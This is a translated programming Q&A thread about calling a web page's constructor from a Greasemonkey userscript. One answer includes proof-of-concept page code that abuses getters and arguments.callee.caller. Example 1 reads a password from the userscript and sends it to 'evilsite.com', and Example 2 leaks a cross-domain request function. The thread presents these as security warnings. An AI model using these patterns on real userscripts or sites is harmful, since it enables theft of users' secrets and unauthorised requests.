Как я могу использовать конструктор удаленной страницы для создания объекта в моем скрипте пользователя Greasemonkey? - PullRequest
5 голосов
/ 26 января 2011

Страница, на которой будет выполняться мой пользовательский скрипт, имеет пространство имен, пространство имен определяет функцию конструктора.Я хотел бы создать объект, используя тот же конструктор и использовать методы объекта в моем скрипте пользователя.До сих пор я был неудачным.Вот что я пытаюсь сделать.

Страница содержит следующий собственный блок javascript:

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

используется как:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

В My Userscript это мойНамерение создать объект точно так же, как pageObject и вызвать сумму из этого с моими собственными параметрами.

Я попытался сделать следующее:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

No Luck, появляется, хотя greaseNameSpace существует, и дажеgreaseNameSpace.constructor является допустимой функцией, использование нового greaseNameSpace.constructor () приводит к неопределенности.

также попытался выполнить следующее:

var greaseObject =new unsafeWindow.namespace.constructor();

снова greaseObject остается неопределенным.

Я нашелодин поток здесь Как я могу создать объект класса, который определен на удаленной странице?

Но он использует eval, и мне интересно, правильно ли это?

Любая помощь будет высоко ценится :) спасибо !!

Ответы [ 2 ]

1 голос
/ 16 октября 2011

Я нашел способ решить вопрос.Будьте осторожны при использовании этого метода: когда вы частично / неправильно реализуете этот код, вы открываете потенциальную дыру в безопасности.

Приведенный ниже код получает объект window без неоднозначных ограничений unsafeWindow.Любой код, выполняемый в области действия этого window объекта, будет работать, если он был частью реальной страницы, аналогично сценариям содержимого в расширениях Google Chrome.

Код

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

Соображения безопасности

  • Оберните код, который использует методы / переменные этого window объекта в функции, чтобы не создавать опасных дыр.Не позволяйте этой функции-оболочке выполнять произвольный код на основе пользовательского ввода.
  • См. Пример 3 , чтобы узнать, как правильно реализовать $_WINDOW

Примеры /Доказательство концепции

Ниже я покажу возможные случаи, когда объект $_WINDOW реализован опасным способом.Очевидно, что код на «//page» не ожидался разработчиком сценария GM.Примечание. Некоторые примеры (например, пример 2) могут быть полезны для безопасных (локальных) веб-приложений (например, по протоколу file:///).В примере 3 показан правильный метод использования $_WINDOW.

. Я использовал волшебную функцию __defineGetter__ для обнаружения вызовов переменной, поскольку большинство разработчиков сценариев не знают об этой функции.Непосредственный вызов функций также вызовет вредоносный код;

Основная причина - arguments.callee.caller.Внутри функции этот объект будет ссылаться на функцию, которая вызвала текущую функцию.Когда используется unsafeWindow, переменная arguments.callee.caller не может быть вызвана.Функция будет отображаться как function SJOWContentBoundary{ [native code]}.Однако, когда используется $_WINDOW, настоящая функция GM видна и вызывается удаленной страницей.

Пример 1 : Чтение (разумных) данных из сценария GreaseMonkey

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

Пример 2 : Утечка междоменного метода XMLHttpRequest на произвольную страницу.Создатель этого GM-скрипта намеревался изменить страницу в соответствии с изменением хеша.Однако, включив проверку (должна ли быть затронута страница) в функцию, которая изменяет URL / обратный вызов, было создано отверстие.

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

Пример 3 : Правильное использование Получатели переменных должны быть определены так, чтобы произвольные запросы не могли быть сделаны.Функции не должны принимать переменные.Если это все еще необходимо, оберните получатель в анонимную функцию.

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";
0 голосов
/ 25 марта 2011

Попробуйте:

var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);
...